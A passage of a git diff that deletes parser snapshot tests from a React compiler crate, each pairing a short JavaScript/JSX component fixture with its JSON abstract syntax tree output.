-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              62,
-                              63
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              66,
-                              67
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            62,
-                            67
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          68
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      54,
-                      74
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  46,
-                  74
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    84,
-                    85
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              99,
-                              100
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            95,
-                            100
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          101
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      87,
-                      107
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  79,
-                  107
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          128,
-                          134
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      120,
-                      140
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  112,
-                  140
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 3.0,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              161,
-                              162
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 3.0,
-                            "loc": null,
-                            "range": [
-                              165,
-                              166
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            161,
-                            166
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          161,
-                          167
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          174,
-                          180
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      153,
-                      186
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  145,
-                  186
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 4.0,
-                  "loc": null,
-                  "range": [
-                    196,
-                    197
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              207,
-                              208
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 4.0,
-                            "loc": null,
-                            "range": [
-                              211,
-                              212
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            207,
-                            212
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          207,
-                          213
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      199,
-                      219
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  191,
-                  219
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 5.0,
-                  "loc": null,
-                  "range": [
-                    229,
-                    230
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              240,
-                              241
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 5.0,
-                            "loc": null,
-                            "range": [
-                              244,
-                              245
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            240,
-                            245
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          240,
-                          246
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      232,
-                      252
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  224,
-                  252
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              274,
-                              275
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              278,
-                              279
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            274,
-                            279
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          274,
-                          280
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      266,
-                      286
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  257,
-                  286
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              290
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          292
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        292
-      ],
-      "loc": null,
-      "range": [
-        0,
-        292
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    292
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch.js.snap
deleted file mode 100644
index 6f94f1d3a042..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@switch.js.snap
+++ /dev/null
@@ -1,767 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/switch.js
----
-Input:
-function Component(props) {
-  let x = [];
-  let y;
-  switch (props.p0) {
-    case true: {
-      x.push(props.p2);
-      x.push(props.p3);
-      y = [];
-    }
-    case false: {
-      y = x;
-      break;
-    }
-  }
-  const child = <Component data={x} />;
-  y.push(props.p4);
-  return <Component data={y}>{child}</Component>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              50
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  61,
-                  66
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p0",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  67,
-                  69
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                61,
-                69
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BooleanLiteral",
-                  "value": true,
-                  "loc": null,
-                  "range": [
-                    82,
-                    86
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                96,
-                                97
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                98,
-                                102
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              96,
-                              102
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  103,
-                                  108
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "p2",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  109,
-                                  111
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                103,
-                                111
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            96,
-                            112
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          96,
-                          113
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                120,
-                                121
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                122,
-                                126
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              120,
-                              126
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  127,
-                                  132
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "p3",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  133,
-                                  135
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                127,
-                                135
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            120,
-                            136
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          137
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              144,
-                              145
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              148,
-                              150
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            144,
-                            150
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          151
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      88,
-                      157
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  77,
-                  157
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BooleanLiteral",
-                  "value": false,
-                  "loc": null,
-                  "range": [
-                    167,
-                    172
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              182,
-                              183
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              186,
-                              187
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            182,
-                            187
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          182,
-                          188
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          195,
-                          201
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      174,
-                      207
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  162,
-                  207
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              211
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "child",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    220,
-                    225
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        229,
-                        238
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "data",
-                          "loc": null,
-                          "range": [
-                            239,
-                            243
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              245,
-                              246
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            244,
-                            247
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          239,
-                          247
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      228,
-                      250
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    228,
-                    250
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  220,
-                  250
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              214,
-              251
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    254,
-                    255
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    256,
-                    260
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  254,
-                  260
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      261,
-                      266
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p4",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      267,
-                      269
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    261,
-                    269
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                254,
-                270
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              254,
-              271
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    282,
-                    291
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "data",
-                      "loc": null,
-                      "range": [
-                        292,
-                        296
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          298,
-                          299
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        297,
-                        300
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      292,
-                      300
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  281,
-                  301
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "child",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      302,
-                      307
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    301,
-                    308
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    310,
-                    319
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  308,
-                  320
-                ]
-              },
-              "loc": null,
-              "range": [
-                281,
-                320
-              ]
-            },
-            "loc": null,
-            "range": [
-              274,
-              321
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          323
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        323
-      ],
-      "loc": null,
-      "range": [
-        0,
-        323
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    323
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-in-hook.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-in-hook.js.snap
deleted file mode 100644
index 6aa5d0af3efe..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-in-hook.js.snap
+++ /dev/null
@@ -1,228 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/tagged-template-in-hook.js
----
-Input:
-function Component(props) {
-  const user = useFragment(graphql`fragment on User { name }`, props.user);
-  return user.name;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "user",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      54
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TaggedTemplateExpression",
-                      "tag": {
-                        "type": "Identifier",
-                        "name": "graphql",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          62
-                        ]
-                      },
-                      "quasi": {
-                        "type": "TemplateLiteral",
-                        "quasis": [
-                          {
-                            "type": "TemplateElement",
-                            "tail": true,
-                            "value": {
-                              "cooked": "fragment on User { name }",
-                              "raw": "fragment on User { name }"
-                            },
-                            "loc": null,
-                            "range": [
-                              62,
-                              89
-                            ]
-                          }
-                        ],
-                        "expressions": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          89
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        89
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          91,
-                          96
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "user",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          101
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        91,
-                        101
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    102
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  102
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "user",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  113,
-                  117
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "name",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  118,
-                  122
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                113,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              123
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          125
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        125
-      ],
-      "loc": null,
-      "range": [
-        0,
-        125
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    125
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-literal.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-literal.js.snap
deleted file mode 100644
index 83d8413fc6e6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@tagged-template-literal.js.snap
+++ /dev/null
@@ -1,161 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/tagged-template-literal.js
----
-Input:
-function component() {
-  let t = graphql`
-    fragment List_viewer on Viewer
-    @argumentDefinitions(
-      count: {
-        type: "Int"
-        defaultValue: 10
-        directives: ["@int_max_value(logged_in: 10)"]
-      }
-      cursor: { type: "ID" }
-    )
-
-  `;
-
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "TaggedTemplateExpression",
-                  "tag": {
-                    "type": "Identifier",
-                    "name": "graphql",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      33,
-                      40
-                    ]
-                  },
-                  "quasi": {
-                    "type": "TemplateLiteral",
-                    "quasis": [
-                      {
-                        "type": "TemplateElement",
-                        "tail": true,
-                        "value": {
-                          "cooked": "\n    fragment List_viewer on Viewer\n    @argumentDefinitions(\n      count: {\n        type: \"Int\"\n        defaultValue: 10\n        directives: [\"@int_max_value(logged_in: 10)\"]\n      }\n      cursor: { type: \"ID\" }\n    )\n\n  ",
-                          "raw": "\n    fragment List_viewer on Viewer\n    @argumentDefinitions(\n      count: {\n        type: \"Int\"\n        defaultValue: 10\n        directives: [\"@int_max_value(logged_in: 10)\"]\n      }\n      cursor: { type: \"ID\" }\n    )\n\n  "
-                        },
-                        "loc": null,
-                        "range": [
-                          40,
-                          264
-                        ]
-                      }
-                    ],
-                    "expressions": [],
-                    "loc": null,
-                    "range": [
-                      40,
-                      264
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    33,
-                    264
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  264
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              265
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                276,
-                277
-              ]
-            },
-            "loc": null,
-            "range": [
-              269,
-              278
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          280
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        280
-      ],
-      "loc": null,
-      "range": [
-        0,
-        280
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    280
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@template-literal.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@template-literal.js.snap
deleted file mode 100644
index d4264f707aa7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@template-literal.js.snap
+++ /dev/null
@@ -1,466 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/template-literal.js
----
-Input:
-function componentA(props) {
-  let t = `hello ${props.a}, ${props.b}!`;
-  t += ``;
-  return t;
-}
-
-function componentB(props) {
-  let x = useFoo(`hello ${props.a}`);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "componentA",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          19
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            20,
-            25
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    35,
-                    36
-                  ]
-                },
-                "init": {
-                  "type": "TemplateLiteral",
-                  "quasis": [
-                    {
-                      "type": "TemplateElement",
-                      "tail": false,
-                      "value": {
-                        "cooked": "hello ",
-                        "raw": "hello "
-                      },
-                      "loc": null,
-                      "range": [
-                        39,
-                        48
-                      ]
-                    },
-                    {
-                      "type": "TemplateElement",
-                      "tail": false,
-                      "value": {
-                        "cooked": ", ",
-                        "raw": ", "
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        60
-                      ]
-                    },
-                    {
-                      "type": "TemplateElement",
-                      "tail": true,
-                      "value": {
-                        "cooked": "!",
-                        "raw": "!"
-                      },
-                      "loc": null,
-                      "range": [
-                        67,
-                        70
-                      ]
-                    }
-                  ],
-                  "expressions": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          48,
-                          53
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          54,
-                          55
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        55
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
